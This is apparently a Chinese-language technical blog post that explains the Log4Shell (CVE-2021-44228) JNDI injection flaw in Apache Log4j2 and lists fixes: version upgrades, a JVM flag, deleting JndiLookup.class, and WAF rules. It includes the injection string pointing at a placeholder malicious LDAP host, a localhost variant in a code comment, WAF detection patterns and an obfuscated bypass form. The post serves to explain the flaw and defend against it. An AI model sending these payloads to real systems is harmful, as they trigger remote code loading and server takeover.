⚠️ 严正声明
本文仅用于网络安全技术的学习与防御研究。文中涉及的复现代码仅限于本地环境测试,旨在帮助开发者理解漏洞原理并自查代码。严禁利用本文提供的技术对非授权系统进行扫描或攻击,否则后果自负!
💣 前言:惊动全球互联网的“不眠之夜”
2021 年底,Apache Log4j2 爆出的Log4Shell (CVE-2021-44228)漏洞,被安全圈称为“核弹级”漏洞,CVSS 评分高达10.0(满分)。
虽然时间已过,但根据最新的安全报告,仍有大量内网老旧系统(特别是 2B 业务)跑着有漏洞的版本。很多开发者只知道“升级版本”,却不知道它到底为什么会执行代码。
“不知攻,焉知防?”今天,我们就从代码底层和JVM 原理出发,彻底拆解这个漏洞,并给出企业级的一键修复与排查方案。
🔍 深度原理:为什么一行日志能接管服务器?
很多开发者不理解:“我就logger.info打印了一行日志,怎么服务器就成别人的了?”
1. 过于智能的 Lookups 功能
Log4j2 为了方便开发,提供了一个Lookups(查找)功能。它允许在日志中通过${...}格式插入动态变量。
例如:${java:version}会被自动替换为当前的 Java 版本号。
2. 致命的 JNDI 注入
坏就坏在,它支持JNDI (Java Naming and Directory Interface)。
JNDI 是 Java 的一个标准 API,它像一个“通讯录”。你可以给它一个地址(比如 LDAP 或 RMI 协议),它就会去这个地址下载资源。
攻击原理时序图(Mermaid 修复版):
核心逻辑:
- 攻击者构造恶意字符串
${jndi:ldap://恶意IP/Exploit}。 - Log4j2 在打印日志时,发现
${},便尝试解析。 - 解析到
jndi:ldap,于是利用 Java 的 JNDI 机制去连接那个恶意的 LDAP 服务。 - Java 程序反序列化并加载了远程的
.class文件,从而执行了其中的恶意代码(如反弹 Shell)。
💻 漏洞环境自查(Localhost)
我们不演示攻击,但我们需要知道什么样的代码是危险的。如果你的项目中包含以下特征,请立即整改!
1. 危险依赖范围
检查pom.xml或build.gradle,如果 Log4j2 版本在2.0 <= version <= 2.14.1之间,且未进行特殊配置,即为高危。
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency>2. 典型的受害代码模式
只要日志打印的内容中,包含了用户可控的输入(如 User-Agent、用户名、搜索词),就可能触发。
importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;publicclassVulnerableApp{privatestaticfinalLoggerlogger=LogManager.getLogger(VulnerableApp.class);publicstaticvoidmain(String[]args){// 假设这是从 HTTP Header 中获取的 User-Agent// 攻击者传入了:${jndi:ldap://127.0.0.1:1389/Exp}StringuserInput=System.getProperty("user.input");// 🚨 危险!直接打印用户输入,且未做清洗logger.error("Error log: {}",userInput);}}🛡️ 企业级修复方案:全方位堵漏
修复 Log4j2 不仅仅是改个版本号那么简单,对于复杂的企业级环境,需要分级处理。
方案一:彻底升级(最推荐 ⭐⭐⭐⭐⭐)
官方在2.17.1及以上版本中彻底移除了对 LDAP/JNDI 的默认支持。
Maven 项目:
直接在父工程强制锁定版本:<dependencyManagement><dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-bom</artifactId><version>2.17.1</version><type>pom</type><scope>import</scope></dependency></dependencies></dependencyManagement>Spring Boot 项目:
Spring Boot 的默认版本可能滞后,需要手动覆盖属性:<properties><log4j2.version>2.17.1</log4j2.version></properties>
方案二:JVM 参数熔断(应急方案 ⭐⭐⭐)
如果你无法重新打包部署,可以在启动脚本(Dockerfile 或 Shell)中添加 JVM 参数,强制禁用 Lookup 功能。
适用于 Log4j 2.10+ 版本:
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar方案三:暴力“手术”(旧系统救命稻草 ⭐⭐)
对于一些还在跑 Java 7 甚至 Java 6 的老古董系统,无法升级 jar 包。可以使用zip命令直接从 jar 包中删掉漏洞类JndiLookup.class。
# 检查并删除漏洞类zip-q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class这是物理层面的阉割,虽然粗暴,但绝对有效。
方案四:WAF 流量拦截(外围防御 ⭐⭐)
在网关层(Nginx/WAF)拦截包含关键词的流量。
拦截特征:
${jndi:${lower:${upper:${base64:
注意:WAF 只能作为辅助,因为黑客可以通过${${lower:j}ndi:...}等方式绕过规则。
💡 结语:安全是开发的生命线
Log4j2 事件告诉我们:任何第三方组件都不可盲目信任。
作为开发者,建议养成以下习惯:
- 依赖管理:定期使用
Dependency Check等工具扫描项目 CVE。 - 输入清洗:永远不要直接记录未经处理的用户输入。
- 最小权限:Java 应用运行账号不要给 root 权限,服务器限制外网连接(禁止服务器主动发起 LDAP 请求)。
没有绝对安全的系统,只有不断完善的防御体系。
博主留言:
你的项目还在“裸奔”吗?
在评论区回复“检测”,我分享一份《Log4j2 漏洞本地扫描工具(Go语言版)》,帮你快速排查本地 Jar 包是否存在隐患!